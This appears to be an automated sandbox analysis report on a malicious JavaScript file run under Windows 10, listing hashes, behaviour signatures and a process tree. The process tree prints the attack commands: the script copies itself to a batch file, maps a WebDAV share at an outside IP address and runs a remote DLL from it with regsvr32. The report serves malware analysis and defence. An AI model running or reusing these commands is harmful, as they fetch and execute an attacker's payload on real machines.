Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-07-2024 04:10

General

  • Target

    1850166781191324920.js

  • Size

    5KB

  • MD5

    33301c9fd5a47289e0eff7062eb98c94

  • SHA1

    b03d439fcf85bf9d0f0af3ae04373c5c96c69e3a

  • SHA256

    3c543b9ebb57e8f30bd562e236bc2d2eea1fc2cc49e90842134de289102fd35c

  • SHA512

    67141920168ad265f7ad55d1a5795a6edfcdb7cb91bb21c4a8b484c9cc47a85e990157792b977282800914b50f3581d6207fd69292928d5e62dc51f8e68123a0

  • SSDEEP

    96:yfbvUIOO8hX7IOO8h8GoM/prtxJcqSGZTt6LWhJPNvhzALk8oOkP8o9:yPOO8SOO82m/Jtx7SGvtlSkP5

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1850166781191324920.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2652
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1850166781191324920.js" "C:\Users\Admin\\fwauam.bat" && "C:\Users\Admin\\fwauam.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4140
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:1104
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\895.dll
          3⤵
            PID:4780

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\fwauam.bat

        Filesize

        5KB

        MD5

        33301c9fd5a47289e0eff7062eb98c94

        SHA1

        b03d439fcf85bf9d0f0af3ae04373c5c96c69e3a

        SHA256

        3c543b9ebb57e8f30bd562e236bc2d2eea1fc2cc49e90842134de289102fd35c

        SHA512

        67141920168ad265f7ad55d1a5795a6edfcdb7cb91bb21c4a8b484c9cc47a85e990157792b977282800914b50f3581d6207fd69292928d5e62dc51f8e68123a0